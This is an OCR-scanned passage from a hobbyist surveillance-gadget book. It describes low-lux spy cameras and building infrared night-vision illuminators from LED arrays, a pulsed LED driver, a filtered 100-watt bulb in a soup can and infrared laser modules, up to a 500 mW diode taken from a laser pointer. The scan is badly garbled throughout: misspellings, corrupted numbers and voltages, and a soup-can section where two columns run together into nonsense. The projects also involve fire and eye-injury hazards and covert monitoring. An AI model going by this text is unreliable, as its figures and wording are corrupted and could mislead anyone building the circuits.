rating  of  .001  or  better  lux  if  you  plan  on  working 
in  the  dark  or  building  any  of  the  devices  presented 
in  the  following  ^jectx.  and  usually  these  cameras 
will  cost  you  between  SlOO  and  $150  depending  on 
supplier  and  optics  quality.  Pinhole  lens  cameras 
dwuld  be  avoided  since  they  collect  less  light  than 


Figure  8-1  A cotlecrion  of  smaU  spy  camfras.  each 
wilh  diffeitrU  Iws  msings. 
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Plgur?  8-2  A canu&rder  {left)  coinpartd  w a low  tux  securiry  fomera  irisHs). 


standard  micro  lens  cameras,  and  you  will  be 
working  in  the  dark  or  at  a distance.  $o  hiding  ihc 
camera  is  not  really  going  to  be  u concern.  Another 
reai^n  not  to  use  color  cameras  for  night  vision 
projects  (fiKpeciaily  camcorders)  is  that  they  all 
contain  Infrared  filterN  in  order  to  better  enhance 
the  color  image,  and  remove  any  bursts  of  light 
from  the  in^ared  eminlng  auto  focusing  electronics 
built  into  the  camera,  so  this  would  work  against 
you.  Black  and  white  cameras  never  have  any 
infrared  removal  rdicrs.  as  they  are  mainly  sold  to 
those  working  in  surveillance  and  it  is  understood 
that  (hey  must  perform  under  low  light  conditions. 
Have  a look  at  the  difference  between  the  way  a 
typical  camcorder  (Figure  8>2.  left  photo)  and  a low 
lux  black  and  white  security  camera  (right  photo) 
image  the  :same  low  light  scene.  Moonlight  or 
ambient  city  light  is  plenty  of  light  for  the  capable 
low  lux  black  and  white  camera,  but  the  color 
camcorder  is  useless  in  such  an  environment. 


When  choosing  your  night  operations 
camera,  you  will  also  need  to  know  what  type 
of  lens  to  choose,  as  there  will  be  many  different 
types  with  various  focal  lengths  and  features 
such  as  manual  iris  control,  telephoto  capabilities 
Of  motorized  zoom  control.  The  most  common 
type  of  lens  for  security  work  is  the  fixed  focu.K 
medium  wide»angle  microlcns,  as  this  style  of 
lens  captures  a large  area  of  the  scene,  yet  can 
easily  be  placed  against  the  eyepiece  of  a pair 
of  binoculars  or  telescope  for  ultra  Iong*range 
imaging. 

With  a quality  low  lux  black  and  white 
spy  camera,  you  will  ^obably  never  need 
extra  lighting  for  operation  on  a typical  city  street, 
or  when  there  is  moonlight.  However,  for  pitch 
black  moonless  nights  or  unlit  indoor  operations, 
read  on  in  this  chapter  as  the  following  projects 
will  give  you  the  ability  to  see  in  complete 
darkness. 
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Project  M5 — Infrared,  the  Invisible  Light 


The  human  eyes  arc  sensitive  to  light  which  Iks  in 
only  a very  small  regiou  of  the  electromagnetic 
spectrum  labeled  “visible  light.”  This  visible  light 
corresponds  to  a wavelength  range  of  400 
nanometers  (violet)  to  700  nanometem  (red).  The 


human  eye  is  not  capable  of  detecting  radiation 
with  wavelengths  ouLsidc  the  visible  spectnim, 
where  uliravidci  <<  400  nanometers)  and  infrared 
(>  700  naowneiers)  would  exist  The  visible  colors 
from  shortest  to  longest  wavelength  are:  violet, 
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:.uc.  green,  yellow,  orange,  and  red.  Ultraviolet 
ndiation  has  a shorter  wavelength  than  the  visible 
violet  light.  Infrared  radiation  has  a longer 
waselengih  than  visible  red  light  and  is  detected  as 
Jeat  by  our  bodies.  The  image  sensor  in  a video 
camera  cun  sec  a larger  pan  of  the  etecfroinagnetic 
spectrum  than  sve  can.  extending  well  into  the  1000 
unometer  infrared  region,  which  is  why  they  are 
pofcctly  suited  as  night  visitm  devices  when  used 
K>  image  a scene  lit  with  infrared  light  that 
cannot  see  with  our  naked  eyes.  Infrared  light  is 
certainly  not  hard  to  generate  using  on  inexpensive 
LED  or  a low  p<iwer  loser  diode,  and  it  is  used  in 
many  short*range  remote  cotUFol  devices  such  os 
television  and  VCR  remote  controls.  The  parts  are 
very  easy  and  inexpensive  to  acquire. 

The  typical  consumer  device  infrared  remote 
control  is  shown  in  Figure  8*3  surrounded  by  a 
handful  of  the  infrared  emitting  LEDs  that  creoie 
(he  light  source  (most  remote  controls  have  one  or 
two  of  these  at  the  top  end  of  the  case). 

The  output  from  this  remote  control  is 
completely  invisible  to  (be  naked  eye.  as  you 
probably  already  know,  but  we  are  going  to  do  a 
simple  experiment  that  lets  you  look  at  the  beam*— 
a great  way  to  test  your  remote  control.  To  do  this 
experiment,  you  will  need  any  type  of  video 
camera  (hat  lets  you  monitor  the  image  in  real  time 
such  as  a camcorder,  or  security  camera  connected 


Figure  B*M  Normally  imisible  infrartd  hg/u  is  seen 
clearly  by  a \‘tdeo  camera. 


to  a monitor.  Camcorders  are  not  very  good  at 
imaging  infrared  due  to  the  filters  they  have 
installed,  but  for  this  simple  test  you  will  still  be 
able  to  see  the  beam  with  a color  camcorder.  Take 
any  infrared  remote  control  and  fire  it  directly  at 
(he  lens  on  your  camera  while  you  watch  the 
monitor  or  look  through  the  viewfinder  and  you 
will  see  that  your  normally  invisible  remote  comrol 
will  be  spitting  out  a brilliant  burst  of  sharp  white 
light.  Because  the  video  imaging  device  in  Uic 
camera  can  see  well  into  the  infrared  region  of  the 
electromagnet  spectrum,  the  remote  control 
operates  like  a flashlight  when  viewed  on  the 
monitor  Figure  $-4  shows  the  brilliant  burst  of 
light  emitted  by  (he  single  infrared  LED  on  my 
small  remote  control  as  seen  from  the  video 
camera's  per^Kctive. 

If  you  want  to  take  (his  simple  experiment  a 
little  further,  take  your  video  camera  into  a 
completely  dark  room  and  try  to  use  your  infrared 
remote  control  as  a nashligbt  to  navigate  your  way 
around  the  room.  Depending  on  the  lux  rating  of 
your  camera  and  the  amount  of  infrared  filtering, 
you  may  be  surf^sed  at  how  much  light  can  be 
cast  by  a single  LED.  In  my  case.  1 could  easily 
navigate  the  room  by  looking  only  into  the 
camcorder's  viewfioder.  Knowing  this,  imagine 
what  the  proper  low  lux  black  and  white  camera 
could  do  for  you  with  a large  array  of  infmred 
lights  blazing  your  path! 
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Project  4 6— LED  Ni^ht  Vision  Illuminator 


Project  M6 — LED  Night  Vision  lliuminator 


A very  capable  oighi  visiOD  iUtuninator  can  be 
made  simply  by  wiring  an  array  of  inriared  LEDs 
in  seriea/parallel  to  connect  to  a DC  voltage  source 
such  as  battery  or  power  suf^Iy.  Since  most  LEDs 
require  a DC  voltage  ranging  from  1.2  to  1.5- volts, 
if  is  very  easy  to  wire  a number  of  them  in  series 
(0  run  from  a common  DC  voltage  such  as  9 or 
1 2- volts.  Once  you  have  a string  of  LEDs 
connected  in  series  to  match  your  power  supplies 
voltage,  all  you  have  to  do  to  expand  the  number 
of  LEDs  is  add  more  identical  series  strings  in 
parallel  up  to  the  current  capacity  of  the  power 
source.  If  1 were  using  a power  supply  that  could 
source  I amp  at  1 2*  volts,  then  I would  connect  a 
string  of  10  1.2*volt  LEDs  in  series  to  match  the 
voltage  requirement.  If  each  series  wired  LED 
siring  was  to  draw  100  miltiamps.  then  1 could 
theoretically  connect  10  identical  strings  in  parallel 
for  an  array  of  100  LEDs:  quite  a large  illuminator. 

Figure  8-5  shows  my  wiring  diagram  for  a 49 
LED  array  running  from  a 9* volt  power  source 
using  LEDs  rated  for  1.3- volts. 

Since  (here  are  seven  LEDs  in  series,  each  one 
of  them  will  see  1 .29-volts,  which  is  just  slightly 


less  than  their  maximum  rating  of  1.3-voIts  each, 
and  it  is  always  beoer  to  be  slightly  lower  than 
slightly  hi^)er  when  working  with  sensitive 
iofraied  LEDs.  There  are  seven  identical  strings  of 
seven  series  LEDs  ctmnecied  to  each  other  in 
parallel,  so  that  each  LED  still  only  sees  the  proper 
voltage.  The  current  requirement  for  this  array 
would  be  seven  times  the  current  requirement  of 
each  LED  string,  and  a typical  9'volt  battery  can 
power  this  unit  for  a few  hours.  The  wavelength  of 
the  LEDs  is  950  nanometers,  the  same  as  used  in 
most  consumer  device  remote  controls. 
Wavelengths  ranging  from  808  to  950  nanomciers 
work  very  well  for  night  vision  illuminators,  and 
are  easily  available  at  any  electronics  component 
supplier.  The  actual  array  is  wired  on  a square  of 
perf  board  by  cutting  and  bending  the  LED  legs  to 
form  the  traces  on  the  underside  of  the  boud. 

Rgure  8-6  shows  ray  completed  7x7  infrared 
LED  array  ready  for  installation  into  an  array  of 
20  feet  by  20  feet,  which  is  the  typical  useful 
range  of  the  device. 

Increasing  the  number  or  quality  of  the  infrared 
LEDs  will  extend  the  usable  area  that  can  be 
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Figure  S*5  Wiring  49  L£Os  requiring  1.3  voUi  e<ick for  9-vo/r  operation. 
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iiliiminafgri,  bui  (here  are  limits  to  this  type  of 
device.  One  hundred  or  more  LEDs  may  get  you 
up  to  50  feel  usable  range,  but  after  that,  adding 
more  LEDs  will  only  widen  (he  illuminated  area, 
as  die  LED  can  only  cast  light  so  far  before  it  falls 
off.  Think  of  it  this  way:  100  flashlights  viewed  ai 
1 00  feel  away  wiU  not  appear  any  more  bright  than 
one  flashlight  did;  it  will  only  look  like  a larger 
width  of  light.  If  you  want  lo  see  the  light  from  a 
further  distance  you  wiU  need  a brighter  light,  or 
more  focused  light;  there  are  no  exceptions,  which 
is  why  infrared  LEDs  are  mainly  used  as  indoor  or 
short>range  illumination  devices  only.  There  is  one 
trick  you  can  use  to  make  an  infrared  LED  spit  out 
more  light  than  it  normally  would  if  directly 
powered  by  its  rated  DC  power  supply— pulsed 
operation,  as  will  be  discussed  in  the  next  project. 


6*6  <4  simple  7x7  ipfrared  array  that  can  run 
^ batiety. 


Project  M7 — Puised  LEDs  for  Higher  Output 


' If  you  have  cxperimenied  with  LEDs,  then  you 
have  likely  seen  whm  happens  to  them  when  they 
are  subjected  to  a voltage  well  beyond  their  rated 
tiaximums — poof!  It  is  truly  amaring  how  far  the 
tops  of  those  exploding  LEDs  can  travel  when  they 
come  apart,  and  infrared  LEDs  are  even  more 
I sensitive  than  their  visible  light  relatives,  burning 
out  in  less  than  a second  if  the  power  source  is 
I even  a fraction  beyond  the  rated  limits. 

Overpowering  an  LED  will  certainly  make  it 
I brighter,  but  only  for  a few  milliseconds  before  the 
I heat  buildup  blows  the  top  off  or  it  simply  bums 
out  internally,  giving  off  a horrible  odor.  The  LEDs 
1 use  are  rated  for  a continued  current  of  1 00 
milliamps  with  a maximum  surge  current  of  a 
whopping  2.5  amps,  but  only  if  sustained  i<fS  no 
longer  than  10  microseconds  (much  longer  than  it 
would  take  me  to  remove  the  power  if  I wanted  to 
test  that  rating).  A simple  way  to  push  the  LEDs 
past  their  constant  current  raring  is  by  pulsing  (be 
power  source  oq  and  off  very  quickly  so  that  the 


LEO  does  not  have  lime  to  overheat  and 
self-destmci.  Doing  this  procedure  can  easily 
increase  brightness  over  lOx  more  than  what 
would  be  possible  using  a simple  DC  power 
source.  You  will  have  to  have  a long  hard  look  at 
the  data.sbee(  for  whatever  LED  you  plan  to  pulse, 
as  the  maximum  voluge,  duty  cycle  and  pulse  rate 
will  be  completely  dependent  on  the  specifications 
of  (he  LED.  If  you  really  want  to  push  (he  limits, 
be  prepared  to  do  some  destructive  testing. 

A simple  LED  pulsing  circuit  that  can  accept 
a DC  voltage  from  12  to  20* volts  is  shown  in 
Figure  8*7. 

The  IRF51 1 logic  level  FET  is  switched  on  and 
off  by  the  CD4001B  NOE  astable  oscillator  circuit 
which  can  be  controlled  by  varying  the  1 
variable  resisUx.  Because  the  4001  IC  can  accept 
voltages  ffom  1-voh  to  20- volts,  the  circuit  can  be 
tested  over  a wide  oper^ng  voltage  to  determine 
the  m&ximum  current  limits  for  whatever  array  of 
infrared  LEDs  you  plan  on  driving.  Again,  you 
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Project  47— Pulsed  LEDs  for  Higher  Output 


Fl9ure  9-7  An  LED  pulsing  circull  for  driving  if^frared  LED  arrays. 


should  examine  the  LEDs  datasheet  to  figure  out 
(he  maximum  pulsed  current  i(  can  handle,  or  ai 
least  Stan  by  supplying  minimal  voltage  to  (he 
circuit  and  adjust  ic  slowly  upwards  while 
watching  (he  output  from  the  LEDs  on  your 
monitor  When  you  are  "'smoke  testing"  the  LEDs 
to  find  (heir  breakdown  point,  it  is  only  necessary 
to  use  a single  chain  of  LEDs,  as  adding  more 
chains  in  parallel  wUl  not  allow  more  current  to 
flow  like  adding  mode  LEDs  to  the  chain  would. 
For  12- volt  operation,  you  may  want  to  start  by 
using  8 or  10  LEDs,  removirtg  one  at  a dme  while 
you  check  for  brightness  and  excessive  heat  (hold 
on  to  the  LED  with  your  fingers).  The  current 
limiting  resistors  connected  to  each  series  string  of 
LEDs  will  save  you  a lot  of  burnt  out  LEDs  wh^ 
you  are  first  testing  your  LEDs  to  their  breakdown 
point,  so  unless  you  know  what  your  components 
can  take,  then  leave  them  in  the  circuit. 

1 managed  to  drive  my  7x7  LED  array  (made 
earlier  in  this  section)  up  to  near  20>volts  quite 
cRiciemly  by  using  the  same  series/parallel  wiring 


needed  for  (heir  safe  operation  at  9*vol(s.  In  the 
end  I settled  for  only  12-volis.  as  the  driver  FET 
was  getting  a bit  warm  without  a proper  heat  sink, 
and  the  camera  I use  is  so  sensitive  to  infrared 
light  (hat  (he  iJiuminaior  swamped  (he  image 
sensor  to  the  point  where  I could  only  see  a huge 
white  bloom  on  the  monitor.  The  range  of  the 
pulsed  LED  illuminator  compared  to  the  earlier 
DC  driven  illuminator  is  several  limes  greater, 
and  can  cover  a typical  back  yard  with  ease.  The 
completed  pulsed  illuminator  is  shown  in 
Rgure  8*8  built  on  a prototyping  circuit  board 
tor  ease  of  wiring  all  those  LEDs. 

There  are  many  ways  you  can  expand  this 
simple  LED  driv^  circuit  to  accommodate  more 
LEDs,  such  as  adding  a heat  sink  to  the  FET  for 
more  current  capacity,  or  by  adding  multiple 
FETs  to  drive  more  series/paiallel  chains.  There 
are  much  larger  logic  level  FETs  available  as 
well,  and  many  of  them  can  deliver  an  easy  10 
amps  or  more  without  the  need  for  a heal  sink  or 
any  type  of  complex  cooling.  Again,  the  be.st  way 


to  push  your  infrared  LEDs  to  the  limit  is  by 
eaperimentaiion,  or  wbat  I like  to  call  ^*&moke 
testing."  and  1 have  found  that  some 
manufacturer's  ratings  are  way  off  the  mark 
sometimes  in  either  direction.  Also,  you  may 
want  to  consider  adding  a switch  to  each  chain  of 
LEDs,  a.s  the  infrared  light  produced  by  so  many 
LED.s  may  be  too  bright  for  your  image  sensor  if 
placed  close  to  the  target  object.  As  shown  in 
Figure  8*9.  my  test  subject  "DJ  Dogsier”  is 
almost  loo  bright  when  lit  by  14  of  the  49  pulsed 


Figure  6*9  Too  iwiny  LEDs  cun  ovfHoad  the  imagtf 
sensiyr.  washins  out  4«taih. 

LEO$  in  my  array  running  at  one  time  from  a 
distance  of  about  four  feet. 

Now  if  your  covert  infrared  operations  require 
some  serious  infrared  illumination  due  to  the 
amount  of  square  footage  or  distance  in  your 
scene,  then  check  out  the  ttexi  project  as  it  uses 
a method  of  generating  infrared  that  is  almost 
unlimited  and  can  easily  outshine  an  LED 
illumiiuiior  by  hundreds  of  limes. 


Project  MS — Qutdoor  Night  Vision  Illuminator 


Does  your  LED  illuminator  fall  short  of  the  desired 
range?  Maybe  you  fried  a few  hundred  LEDs 
trying  to  push  them  beyond  their  limits  and  want  to 
take  a different  approach?  Well,  here  is  a simple 
way  to  lum  an  ordinary  bouse  light  into  a powerful 
outdoor  infrared  source  using  a special  filler  and 
.some  common  household  items.  This  unit  can 
easily  light  an  area  larger  than  your  backyard  and 
does  not  require  any  electroolcs  at  all.  but  there  is 
a drawback — heat,  lots  of  heat.  If  you  have  ever 
accideniaily  grubbed  a 1 00- watt  iocandesceni  light 
bulb  while  it  was  on.  or  just  switched  off,  then  you 
know  what  1 mean  when  I say  these  things  run  hot. 


Now  imagine  containing  all  of  that  heat  into  a 
small  area,  only  leoing  a small  bit  escape,  does 
this  sound  familiar?  Yes.  you  have  basically 
created  a lOO-watl  coovcciion  oven  that  could 
certainly  warm  up  your  dinner  w bum  down  your 
house.  This  is  why  I call  this  an  "outdoor 
illuminator.*'  So.  if  building  a device  so  hot  that  it 
coukl  fry  an  egg  doe»i't  scare  you  away,  then  read 
OD.  Typical  home  use  incandescent  light  bulbs,  like 
every  healed  objecL  produce  a wide  band  or 
spectrum  of  wavelengths,  which  is  primarily 
determined  by  the  temperature  of  the  til  ament,  and 
IQ  a small  extent  by  the  material  composing  the 
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Outdoor  Night  Vision  Illuminator 


Project  48— Outdoor  Night  Vision  Illumi 


Figure  S-II  A /OO’Wtin  Ugfu  bulb  anti  socket  mouuteti 
in  a soup  can. 

source  over  15  watu  will  most  likely  warp  or  meli 
ihe  filter  very  quickly.  Figure  8»i0  shows  the  glass 
Infrared  pass  filter  1 will  be  using  in  my 
illuminaior.  Notice  how  the  digital  camera  cannot 
see  my  fingers  behind  the  glass. 

The  neat  thing  about  these  infrared  filters  is  that 
they  are  completely  clear  to  a black  and  white 
security  caniera.  You  might  find  that  hard  to 
believe  considering  that  you  can’t  see  anything 
whatsoever  through  the  lens  with  your  own  eyes, 
not  even  a bright  light  across  the  room.  But  when 
you  place  the  lens  in  fmni  of  a security  camera, 
it  sees  right  through  it  as  if  it  were  just  a slightly 
shaded  bit  of  glass,  like  what  you  would  find  In  a 
pair  of  sunglasses.  The  reason  this  happens  is 
because  the  camera's  imaging  device  is  sen.rilive 
to  infrared,  the  only  part  of  the  spectrum  that  is 
allowed  to  pa.ss  through  (he  lens.  The  same  effect 
will  happen  when  the  lens  is  placed  in  front  of  a 
bright  full  spectrum  light  stnircc,  which  is  why  to 
(he  human  eye  there  will  appear  to  be  no  light  at 
all.  just  a faint  red  glow. 

Besides  (be  infrared  pass  filter,  you  are  also 
going  to  require  a 30  to  100  watt  light  bulb,  a 
light  socket  with  switch,  and  some  type  of 
rkxi'fianunable  container  to  block  all  light  (hot  does 
not  exit  through  the  Iok.  For  my  design.  I used  a 
bask  light  socket  with  a cord  and  switch  already 


Figure  0-IO  A small  disc  shaped  infrared  pass  JiUer 
made  from  glass. 

filament,  which  is  usually  amgseen.  These  bulbs 
are  designed  to  produce  (he  white  light  we  use  to 
illuminate  our  home,  but  they  also  produce  light 
which  we  cannot  see  b<Kh  in  the  ultraviolet  end  of 
the  spectrum  right  Into  the  infrared  portion  of  (he 
spectrum.  So,  to  pass  only  the  infrared 
wavelengths,  we  will  need  to  simply  place  the 
appropriate  filter  in  from  of  the  light  source.  The 
type  of  filter  we  want  called  an  "infrared  pass 
filter,'*  since  it  efteciively  blocks  all  bui  one  small 
.section  of  the  spectrum^ihe  invisible  infrared 
region  between  800  and  1000  nanometers. 

Filtering  infrared  light  ihi.s  way  is  no  different  than 
looking  through  a bit  of  colored  plastic  or  glass 
that  filters  out  all  colors  in  the  visible  spectrum  but 
one.  leaving  a scene  that  Is  io  (be  same  color  as  the 
material  itself.  An  infrared  filter  (which  toc^s 
completely  black  to  the  human  eye)  will  do 
exactly  the  same  thing,  allowing  only  (he  invisible 
Infrared  light  to  pass  through  it.  blocking  all  other 
light.  These  infrared  pass  filters  are  available  at 
many  camera  shops,  scientific  suppliers  such  as 
Edmund  Scientific,  and  they  come  either  as  a 
plastic  or  gloss  disc.  But  the  plastic  filters  should 
be  avoided  as  (he  intense  heat  from  any  light 
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Figure  0-ta  My  m,td,«r  "sm.p  can' Figure  8-13  A pyrzotf  cmghi  inihii  sceny  would  noi 
nadyingoia^ork.  stt  any  Ugh,  m all. 


connected,  u 100-watc  light  bulb  and  a large  soup  c«perimem.  and  look  up  the  manufaclurer’s 

can  with  the  label  removed.  The  soup  can  was  an  f"  "fvelengU'  emissions.  You  will 

easy  choice  because  it  can  withstand  the  heat  and  “'«>  of  mounting  the  final  unit 

because  the  infrared  filter  fits  perfectly  into  the  end  8-12)  so  that  the  extremely  hot 

without  any  modification.  The  distance  between  the  ■* ■" 

light  and  the  filter  will  be  ab.HH  three  inches,  vrfiich  nammable  material.  A tripod  or  long  shelf  bracket 

seemed  to  work  very  well.  Figure  8-11  shows  the  “ «>  •‘“P  ihe  he«  away  from  the 

light  .socket  and  bulb  mounted  into  the  soup  can,  mounting  surface. 

ready  to  have  the  mfrared  filter  added  in  place.  If  you  wont  a little  more  control  over  the  aniounl 

You  should  ask  the  manufacturer  of  the  lens  for  illumination,  you  can  change  the  wattage  of  the 

details  on  how  much  heat  the  unit  will  withstand.  » ''ehi  dimmer  forfine  control.  Keep 

and  for  how  long  before  selecting  a light  bulb,  as 

you  would  not  want  to  destroy  the  filler  or  cause  it  filament,  which  caus<»  a shift  in  color  lemperalurc, 
to  crack,  I had  no  problems  with  100  watts  using  '‘Shl  in  odd 

my  filter  (which  I have  no  information  on),  but  I Agsi"-  cxperuiKniation  is  key.  Even  by  using 

would  certainly  not  try  this  with  my  plastic  “ 

infrared  camera  filler,  as  it  would  eenainly  melt  amount  of  light  thrown  by  this  unit  powered  by  a 

in  less  than  a minute.  If  you  do  not  think  your  ‘‘g'”  ^“1^*  '"““S'*-  » 

filter  can  withstand  the  heat  generated  by  the  *0  feet,  the  dim  red  glow  from 

light  source,  then  you  have  a few  options  .such  as  the  lens  was  not  even  noticeable.  Figure  8- 1 3 shows 

backing  up  the  light  source  or  trying  to  reflect  ‘•k  area  of  a back  yard  in  the  absence  of  any 

through  the  filter  from  a distance  using  a lens  ''8'’' st««lamps  or  the  moon, 

or  minor  of  some  kind.  Also,  keep  in  mind  It's  amazing  what  you  can  do  with  a Ugbt  bulb,  a 

that  not  all  light  bulbs  hd.\t  the  same  spectral  bit  of  glas.s  and  a soup  can!  But  what  if  you  warn 

ebume (eristics,  and  reflective  coatings.  A typical  to  mcmitor  an  area  that  is  several  blocks  away? 

*'wafm  white'*  light  bulb  seems  to  work  nicely.  Typcal  binoculars  are  not  very  use^l  at  night,  and 

whereas  a completely  clear  bulb  casts  a harsh  light  Illuminators  are  only  good  up  to  150  feet,  so  now 

so  bright  that  a reduced  wattage  was  needed.  Feel  what?  Read  on.  my  curious  Evil  Genius  friend! 


101 


tdoor  Night  Vision  II lumina tor 


Project  M9 — Infrared  Laser  Illuminator 


Infrared  illuminaiors  based  in  LEDs  or  filtered 
incandescent  light  sources  make  great  close-range 
Illuminators,  but  ore  out  very  useful  when  the 
target  is  more  than  100  feet  away,  or  beyond  the 
camera’s  optical  capabilities.  You  might  aiiempi  to 
focus  (he  beam  from  the  fiHered  illunuoator.  but 
unless  you're  an  expert  on  optics  and  have  a large 
budget  to  spend  on  research  and  development,  that 
approach  is  probably  not  pnicHcal  for  the 
’^average"  person,  even  an  Evil  Genius  like 
yourself. 

However,  there  is  another  method  of  projecting  a 
light  source  to  a distant  target  without  requiring 
complex  optics  and  thousands  of  watts  worth  of 
input  light — a laser.  As  you  know,  even  a low- 
power  laser  such  as  a laser  pointer  can  easily  target 
an  object  well  over  1000  feet  away,  and  if  your 
camera  is  attached  to  a pair  of  binoculars  or  a 
tele.>«cope  (see  previously  in  Section  6.  Project  37). 
you  can  probably  see  the  laser  spot  on  a target  a 
mile  away.  Of  course,  there  are  two  obvious 
problem.s  that  must  be  overcome  in  order  to  use  a 
laser  as  on  illumination  device—ihe  wavelength 
of  the  emitted  light,  and  the  size  of  the  beam.  A 
visible  laser  is  useless  as  an  illumination  device, 
since  it  will  give  away  your  location  instantly,  but 
that  problem  can  easily  be  resolved  by  the  use  of 
an  infrared  laser  module  io  (he  800-950  nanometer 
region.  As  for  the  beam  size,  most  la.ser  modules 
allow  you  to  adjust  Ibc  collimating  lens  so  you  con 
adjust  the  size  of  the  resulting  beam,  which  will 
naturally  get  larger  as  the  distance  to  the  target 
increases.  For  a laser-based  illuminator,  you  will 
want  a very  large  beam  to  cover  the  target  area  and 
keep  the  loser  radiation  at  an  eye  safe  level;  but 
regardless,  you  should  never  aim  such  a device  at 
any  people  or  living  creatures.  Before  working 
with  lasers,  especially  those  radiating  invisible 
la.ser  radiation,  you  should  acquaint  yourself  with 


laser  safety,  and  team  how  to  handle  these  devices. 
A good  place  to  find  an  abundance  of  laser 
inf<mnaUon  on  the  Internet  is  "Sam’s  Laser  FAQ” 
which  can  be  found  by  searching  Google  or 
your  favorite  Internet  search  engine,  or  by 
going  directly  to  the  current  location  at 
www.repair^.Ofg/sam/Iasersam.htm.  1 highly 
recommend  reading  the  safety  information 
regarding  laser  operaiiim  because  you  can  easily 
damage  your  eyes  if  you  are  foolish,  since  the  light 
you  will  be  working  with  is  not  visible  to  the 
naked  eye.  Play  it  safe! 

To  begin  experimenting  using  infrared  laser 
light  for  night  vision.  I recommend  that  you 
purchase  a class  Ilia  or  class  lllb  la^er.  which  will 
not  output  more  than  5 mW  of  power,  as  this 
power  kvel  is  considered  eye  safe  as  long  as  you 
don't  do  something  really  foolish  like  stare 
directly  into  the  output.  Since  we  will  be  viewing 
the  beam  only  on  a video  monitor  and  purposely 
adjusting  the  collimating  lens  to  spread  the  beam 
into  a wide  area,  (he  danger  Is  reduced  even 
further.  The  wavelength  you  will  want  will  be 
anywhere  from  800  nanometers  to  950  nanometers 
as  this  is  where  CCD  image  sensors  seem  to  be 
most  sensitive.  Infrared  lasers  are  available  In 
wavelengths  of  less  than  700  nanometers  and 
more  than  1400.  but  the  wavelengths  under  800 
may  be  visible  to  the  human  eye  as  a faint  red, 
and  above  1000  (he  video  camera  will  become 
less  sensitive  to  the  light.  The  tiny  5 mW  laser 
module  I used  for  experimentation  (shown  in 
Figure  8*14)  produces  an  850*nanameter 
wavelength.  In  the  photo,  it  is  shown  with 
(be  Hny  adjustable  colli maiion  lens  completely 
removed. 

To  begin  experimenting  with  these  lasers 
as  night  vision  illumination  devices  you  will 
need  a black  and  white  camera  and  a video 
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Figure  6>m  An  S^O-nantmteier  infinred  laser 
module  with  adjustable  lens  remmed. 


monitor  to  view  the  light  from  (he  la^r.  I like  to 
>ei  ihe  camera  up  to  view  the  far  wall  in  my 
vvorkshop.  which  is  free  of  any  reHective 
objects  that  may  send  the  beam  back  into  my  eyes. 

1 also  face  the  monitor  away  from  that  wall  so 
there  is  no  chance  that  a reflected  beam  will  gel 
me  offguard. 

Kor  your  first  test,  completely  remove  the 
collimating  lens  if  you  can,  or  at  kast  unservw  it 
t counterclockwise!  until  it  will  no  longer  turn.  This 
Hill  dc focus  the  beam  sc  that  It  should  cover  an 
area  approximately  10  feet  wide  ai  a distance  of 
about  10  feet.  You  will  notice  that  without  a lens  in 
front  of  the  laser  diode,  the  beam  will  be 
rectangular  and  very  wide,  not  what  you  might 
have  expected,  but  (his  is  due  to  the  nature  of  the 
laser  diode  itself.  For  our  purpose,  (his  odd  beam 
shape  will  be  a bertefit  because  it  will  let  you 
illuminate  a nice  rectangular  area  from  a fair 
distance.  It  is  very  difficuU  to  photograph  the 
bright  laser  light  in  total  darkness  due  to  the 
massive  difference  between  the  illuminated  area 
and  (he  rest  of  (he  scene,  so  1 will  do  my  best  to 
show  the  results.  Figure  8- 1 5 shows  the  intense 
«ide  beam  produced  by  the  tiny  infrared  laser 
module  on  a globe  about  4 feet  away.  Notice 
hoNS'  bright  the  illuminated  area  is  to  the  image 
sensor. 


Figure  6*I5  LightiHg  up  the  Eanh  iviM  a non-focused 
infrared  laser  module- 


With  (he  collimating  lens  completely  removed, 
(he  laser  module  seems  to  work  well  as  on  infrared 
light  source  to  about  20  feet  before  the  beam 
becomes  so  spread  out  that  the  light  is  reduced  to  a 
level  undetected  by  the  camera.  This  loser  module 
allowed  the  adjustable  collimating  lens  to  be 
unscrewed  to  the  point  where  1 could  get  a decent 
amount  of  illumination  at  a distance  of  about 
SO  feet  (the  same  as  49  pulsed  infrared  LEDs] — not 
too  bad  for  a S>milliwau  light  source!  By  further 
experimenting  with  various  random  optics  I 
salvaged  from  brt^n  camcordcrx,  pnijectors  and 
binoculars.  I was  able  to  get  some  decent  results  at 
distances  up  to  100  feet  by  aiming  my  low  lux 
camera  through  the  eyepiece  on  a pair  of 
binoculars.  Again,  be  careful  when  playing  around 
with  lenses  and  la.ser  light,  as  you  can  focus  the 
beam  of  a 5 mW  class  lllb  laser  m<Kiule  to  a spot 
srruill  enough  to  harm  your  eyes,  which  is  why  your 
target  should  never  be  a living  creature,  and  your 
viewing  ntethod  should  only  be  the  video  monitor. 

ir  you  enjoyed  this  experiment,  and  you 
understand  the  importance  for  careful  xafe 
operation  of  lasers,  then  check  out  the  next  project 
as  it  can  illuminate  a very  distant  target  to  a level 
much  greater  than  any  of  the  previous  illuminators 
could. 
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Project  49— Infrared  Laser  Illuminator 


Project  50— Long-Range  Laser  Illuminator 


Project  50 — Long-Range  Laser  Illuminator 


This  project  deals  with  laser  energy  that  WILL 
damage  you  eyes  if  you  do  not  undersiiuid  the 
importance  of  laser  safety,  so  make  sure  that  you 
begin  with  Project  49 — Infrared  Laser  IlfuminaioTi 
if  you  haven't  already  done  so  and  proceeded  with 
caution.  Loser  devices  with  an  output  power  of  less 
liian  5 mW  are  normaJiy  considered  eye  safe,  as 
iong  as  you  donT  do  anything  purposely  foolish; 
but  in  this  project,  1 am  working  with  an  infrared 
laser  module  capable  of  delivering  100  times  that 
power  which  is  enough  to  bum  a hole  through 
elecirtcol  tape  and  your  retina.  If  you  feel 
confident  that  you  know  how  to  handle  this 
technology  then  keep  reading,  but  be  sure  lo 
proceed  with  extreme  caution. 

The  500  mW  infrared  laser  source  used  in  this 
high  power  illumination  device  is  an  808 
nanometer  pulsed  mode  module  painfully  hacked 
from  a green  laser  pointer  that  was  originally  rated 
for  5*milliwatt  output  power  Since  there  art  no 
laser  diodes  available  that  directly  produce  a green 
beam  (532  nanometer  visible  light),  a high-power 
infrared  laser  diode  with  a wavelength  of  808 
nanometer;  pumps  a tiny  block  of  Nd:YV04 
generating  infrared  light  at  1064  nanometers  which 
feeds  a KTP  intracavity  fre^iuency  double  crystal 
to  produce  the  visible  green  beam  at  532 
nanometers.  None  of  this  is  really  important  in  this 
experiment,  as  we  are  going  to  remove  every  part 
of  the  laser  pointer  that  occurs  after  the  actual  laser 
diode  and  its  driver  module.  I won't  even  begin  to 
explain  how  to  take  these  things  apart,  as  it  loc^ 
me  over  four  hours  with  a small  pair  of  side  cutters 
